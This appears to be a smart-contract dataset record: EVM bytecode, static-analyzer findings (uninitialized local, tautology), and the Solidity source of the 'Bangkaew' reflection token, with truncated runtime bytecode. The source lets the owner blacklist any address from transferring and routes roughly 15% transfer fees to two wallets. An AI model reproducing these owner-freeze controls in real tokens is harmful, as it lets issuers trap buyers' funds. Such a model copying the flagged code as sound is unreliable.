0200190602002015111151515612ba957600080fd5b818160ff16815181101515612bba57fe5b9060200190602002015160046000858460ff16815181101515612bd957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080600101915050612b72565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c9057600080fd5b6000601160006101000a81548160ff0219169083151502179055506001905090565b60046020528060005260406000206000915090505481565b60105481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612d2d57600080fd5b601360009054906101000a900460ff16151515612d4957600080fd5b60ff835111151515612d5a57600080fd5b600f548211151515612d6b57600080fd5b600090505b82518160ff161015612dbf57600f548211151515612d8d57600080fd5b612db1838260ff16815181101515612da157fe5b906020019060200201518361329c565b508080600101915050612d70565b600b54601054101515612de8576001601360006101000a81548160ff0219169083151502179055505b505050565b600060011515601160009054906101000a900460ff161515141515612e1157600080fd5b612e1a85613431565b156132155783612e2933611eab565b1015612e3457600080fd5b612e8684600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f1b84600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327e90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b602083101515612fad5780518252602082019150602081019050602083039250612f88565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b8381101561308e578082015181840152602081019050613073565b50505050905090810190601f1680156130bb5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f1935050505015156130df57fe5b826040518082805190602001908083835b60208310151561311557805182526020820191506020810190506020830392506130f0565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019050613223565b6132208585856137e5565b90505b949350505050565b60036020528060005260406000206000915054906101000a900460ff1681565b6000808284029050600084148061326c575082848281151561326957fe5b04145b151561327457fe5b8091505092915050565b600080828401905083811015151561329257fe5b8091505092915050565b6000601360009054906101000a900460ff161515156132ba57600080fd5b6000600f54101515156132cc57600080fd5b600f5482111515156132dd57600080fd5b6132f28260105461327e90919063ffffffff16565b60108190555061330d82600f5461341890919063ffffffff16565b600f8190555061336582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327e90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082821115151561342657fe5b818303905092915050565b600080823b905060008111915050919050565b6000808361345133611eab565b101561345c57600080fd5b6134ae84600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354384600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327e90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561364b578082015181840152602081019050613630565b50505050905090810190601f1680156136785780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561369857600080fd5b6102c65a03f115156136a957600080fd5b505050826040518082805190602001908083835b6020831015156136e257805182526020820191506020810190506020830392506136bd565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b6000826137f133611eab565b10156137fc57600080fd5b61384e83600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138e383600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327e90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b60208310151561395c5780518252602082019150602081019050602083039250613937565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b6000808284811515613a9457fe5b04905080915050929150505600a165627a7a723058207c63de9a73ea1406760d31dd62a36de18ef708daeebe1fa364730ffb1df0bbd40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 3,905 |
0xBA95a8e84E5d9002d8d0557DbC4fbC9D023866E1
|
/*
Bangkaew🦴🐕🐾
https://t.me/officialbangkaewtoken
SPDX-License-Identifier: M̧͖̪̬͚͕̘̻̙̫͎̉̾͑̽͌̓̏̅͌̕͘ĩ̢͎̥̦̼͖̾̀͒̚͠n̺̼̳̩̝̐͒̑̄̕͢͞è̫̦̬͙̌͗͡ş̣̞̤̲̳̭̫̬̦͗́͂̅̉̒̍͑̑̒̈́̏͟͜™͍͙͆̒̏ͅ®̳̻̋̿©͕̅
*/
// Latest as of this contract
// See https://github.com/ethereum/solidity/releases/latest
pragma solidity ^0.8.5;
abstract contract Context {
// The reason for _msgSender() here is that if you instead reference msg.sender later (say, in the transfer() function),
// then msg.sender might not be the actual address that sent the transaction, since there's several
// meta-transactions that happen within transfer() and we need to accurately define the sender in that function.
// See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol
// and https://docs.soliditylang.org/en/develop/units-and-global-variables.html?highlight=msg.sender#block-and-transaction-properties
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
// Don't need the _msgData() function from OpenZeppelin's Context.sol here since we never use it or msg.data.
}
// https://eips.ethereum.org/EIPS/eip-20
// These functions/events are part of the ERC20 standard.
// Although technically optional, name(), symbol(), and decimals() are still defined later.
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// We're not using SafeMath here anymore since it stopped being necessary in Solidity 0.8.0
// https://blog.soliditylang.org/2020/12/16/solidity-v0.8.0-release-announcement/ -
// ..."arithmetic operations are now checked by default, which means that overflow and underflow will cause a revert"
// and we've been using versions > 0.8.0 for a while now
// This is https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol
// minus the transferOwnership() function since we don't use it.
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
// https://uniswap.org/docs/v2/smart-contracts/factory/#interface minus the stuff that's never used.
// We don't need the PairCreated event defined here since the Uniswap factory will do that when createPair() is called.
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
// https://uniswap.org/docs/v2/smart-contracts/router02/#interface minus the stuff that's never used.
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
// No more comments, just to screw with people who like to copy/paste my code 🖕😀🖕 now where's my cat...
contract Bangkaew is Context, IERC20, Ownable {
string private constant _name = unicode"Bangkaew🦴🐕🐾";
string private constant _symbol = unicode"BANGK🐾";
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping(address => uint256)) private _allowances;
mapping (address => bool) private bots;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
IUniswapV2Router02 private uniswapV2Router;
address[] private _excluded;
address private c = 0xBA95a8e84E5d9002d8d0557DbC4fbC9D023866E1;
address private _t;
address private _m;
address private uniswapV2Pair;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee;
uint256 private _LiquidityFee;
uint64 private GlobalTXCounter = 0;
uint8 private constant _decimals = 9;
uint8 private maxTx = 3;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable t, address payable m) {
_t = t;
_m = m;
_rOwned[c] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[c] = true;
_isExcludedFromFee[_t] = true;
_isExcludedFromFee[_m] = true;
excludeFromReward(c);
excludeFromReward(_t);
excludeFromReward(_m);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}/*
.--.
`. \
\ \
. \
: .
| .
| :
| |
..._ ___ | |
`."".`''''""--..___ | |
,-\ \ ""-...__ _____________/ |
/ ` " ' `"""""""" .
\ L
(> \
/ \
\_ ___..---. L
`--' '. \
. \_
_/`. `.._
.' -. `.
/ __.-Y /''''''-...___,...--------.._ |
/ _." | / ' . \ '---..._ |
/ / / / _,. ' ,/ | |
\_,' _.' / /'' _,-' _| |
' / `-----'' / |
`...-' `...-'
*/function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()] - amount);
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function nofees() private {
_taxFee = 0;
_LiquidityFee = 0;
}
function basefees() private {
_taxFee = 1;
_LiquidityFee = 14;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
basefees();
if (from != owner() && to != owner() && tradingOpen) {
if (from != c && to != c && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !inSwap) {
if (GlobalTXCounter < 50)
require(amount <= _tTotal * maxTx / 100);
}
if (!inSwap)
GlobalTXCounter++;
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 contractTokenBalance = balanceOf(c);
if (contractTokenBalance > balanceOf(uniswapV2Pair) * 1 / 10000) {
swapAndLiquify(contractTokenBalance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = contractTokenBalance / 2;
uint256 otherHalf = contractTokenBalance - half;
swapTokensForEth(half);
uint256 balance = c.balance / 2;
sendETHToFee(balance);
addLiquidity(otherHalf, balance);
emit SwapAndLiquify(half, balance, otherHalf);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(c, address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
c,
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = c;
path[1] = uniswapV2Router.WETH();
_approve(c, address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, c, block.timestamp);
}
function sendETHToFee(uint256 ETHamount) private {
payable(_t).transfer(ETHamount / 2);
payable(_m).transfer(ETHamount / 2);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(c, address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(c, _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: c.balance}(c,balanceOf(c),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _t);
uint256 contractBalance = balanceOf(c);
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _t);
uint256 contractETHBalance = c.balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) nofees();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity * currentRate;
_rOwned[c] = _rOwned[c] + rLiquidity;
_tOwned[c] = _tOwned[c] + tLiquidity;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _LiquidityFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 LiquidityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount * taxFee / 100;
uint256 tLiquidity = tAmount * LiquidityFee / 100;
uint256 tTransferAmount = tAmount - tFee - tLiquidity;
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rLiquidity = tLiquidity * currentRate;
uint256 rTransferAmount = rAmount - rFee - rLiquidity;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function excludeFromReward(address addr) internal {
require(addr != address(uniswapV2Router), 'ERR: Can\'t exclude Uniswap router');
require(!_isExcluded[addr], "Account is already excluded");
if(_rOwned[addr] > 0) {
_tOwned[addr] = tokenFromReflection(_rOwned[addr]);
}
_isExcluded[addr] = true;
_excluded.push(addr);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a146102e7578063c3c8cd8014610307578063c9567bf91461031c578063dd62ed3e1461033157600080fd5b8063715018a6146102445780638da5cb5b1461025957806395d89b4114610281578063a9059cbb146102c757600080fd5b8063273123b7116100c6578063273123b7146101d1578063313ce567146101f35780636fc3eaec1461020f57806370a082311461022457600080fd5b806306fdde0314610103578063095ea7b31461015b57806318160ddd1461018b57806323b872dd146101b157600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152601481527f42616e676b616577f09fa6b4f09f9095f09f90be00000000000000000000000060208201525b6040516101529190611fda565b60405180910390f35b34801561016757600080fd5b5061017b610176366004611e92565b610377565b6040519015158152602001610152565b34801561019757600080fd5b50683635c9adc5dea000005b604051908152602001610152565b3480156101bd57600080fd5b5061017b6101cc366004611e51565b61038d565b3480156101dd57600080fd5b506101f16101ec366004611dde565b6103df565b005b3480156101ff57600080fd5b5060405160098152602001610152565b34801561021b57600080fd5b506101f161045f565b34801561023057600080fd5b506101a361023f366004611dde565b610498565b34801561025057600080fd5b506101f16104fd565b34801561026557600080fd5b506000546040516001600160a01b039091168152602001610152565b34801561028d57600080fd5b5060408051808201909152600981527f42414e474bf09f90be00000000000000000000000000000000000000000000006020820152610145565b3480156102d357600080fd5b5061017b6102e2366004611e92565b6105ae565b3480156102f357600080fd5b506101f1610302366004611ebe565b6105bb565b34801561031357600080fd5b506101f1610681565b34801561032857600080fd5b506101f16106c4565b34801561033d57600080fd5b506101a361034c366004611e18565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610384338484610b5c565b50600192915050565b600061039a848484610cb4565b6001600160a01b0384166000908152600360209081526040808320338085529252909120546103d59186916103d09086906120f9565b610b5c565b5060019392505050565b6000546001600160a01b0316331461043e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b600a546001600160a01b0316336001600160a01b03161461047f57600080fd5b6009546001600160a01b031631610495816111f3565b50565b6001600160a01b03811660009081526006602052604081205460ff16156104d557506001600160a01b031660009081526002602052604090205490565b6001600160a01b0382166000908152600160205260409020546104f790611278565b92915050565b6000546001600160a01b031633146105575760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610435565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000610384338484610cb4565b6000546001600160a01b031633146106155760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610435565b60005b815181101561067d5760016004600084848151811061063957610639612169565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067581612110565b915050610618565b5050565b600a546001600160a01b0316336001600160a01b0316146106a157600080fd5b6009546000906106b9906001600160a01b0316610498565b90506104958161130f565b6000546001600160a01b0316331461071e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610435565b6011546901000000000000000000900460ff161561077e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610435565b6007805473ffffffffffffffffffffffffffffffffffffffff1916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556009546107d4906001600160a01b031682683635c9adc5dea00000610b5c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080d57600080fd5b505afa158015610821573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108459190611dfb565b6001600160a01b031663c9c65396600960009054906101000a90046001600160a01b0316836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a257600080fd5b505afa1580156108b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108da9190611dfb565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561093a57600080fd5b505af115801561094e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109729190611dfb565b600c805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039283161790556007546009549082169163f305d71991168031906109b881610498565b6000806109cd6000546001600160a01b031690565b60405160e088901b7fffffffff000000000000000000000000000000000000000000000000000000001681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4857600080fd5b505af1158015610a5c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a819190611fac565b5050601180547fffffffffffffffffffffffffffffffffffffffff00ff00ffffffffffffffffff166b01000100000000000000000017905550600c546007546040517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b2457600080fd5b505af1158015610b38573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067d9190611f8a565b6001600160a01b038316610bd75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610435565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610435565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d305760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610435565b6001600160a01b038216610dac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610435565b60008111610e225760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f00000000000000000000000000000000000000000000006064820152608401610435565b6001600160a01b03831660009081526004602052604090205460ff16158015610e6457506001600160a01b03821660009081526004602052604090205460ff16155b610e6d57600080fd5b610e7c6001600f55600e601055565b6000546001600160a01b03848116911614801590610ea857506000546001600160a01b03838116911614155b8015610ec357506011546901000000000000000000900460ff165b1561117b576009546001600160a01b03848116911614801590610ef457506009546001600160a01b03838116911614155b8015610f0e57506007546001600160a01b03848116911614155b8015610f2857506007546001600160a01b03838116911614155b15610fae576007546001600160a01b0316336001600160a01b03161480610f625750600c546001600160a01b0316336001600160a01b0316145b610fae5760405162461bcd60e51b815260206004820152601160248201527f4552523a20556e6973776170206f6e6c790000000000000000000000000000006044820152606401610435565b600c546001600160a01b038481169116148015610fd957506007546001600160a01b03838116911614155b8015610ffe57506001600160a01b03821660009081526005602052604090205460ff16155b801561101b57506011546a0100000000000000000000900460ff16155b1561107557601154603267ffffffffffffffff90911610156110755760115460649061105f9068010000000000000000900460ff16683635c9adc5dea000006120da565b61106991906120b8565b81111561107557600080fd5b6011546a0100000000000000000000900460ff166110cf576011805467ffffffffffffffff169060006110a78361212b565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505b6011546a0100000000000000000000900460ff161580156110fe5750600c546001600160a01b03848116911614155b801561111b57506011546b010000000000000000000000900460ff165b1561117b57600954600090611138906001600160a01b0316610498565b600c5490915061271090611154906001600160a01b0316610498565b61115f9060016120da565b61116991906120b8565b81111561117957611179816114bf565b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111bd57506001600160a01b03831660009081526005602052604090205460ff165b806111d857506011546a0100000000000000000000900460ff165b156111e1575060005b6111ed84848484611592565b50505050565b600a546001600160a01b03166108fc61120d6002846120b8565b6040518115909202916000818181858888f19350505050158015611235573d6000803e3d6000fd5b50600b546001600160a01b03166108fc6112506002846120b8565b6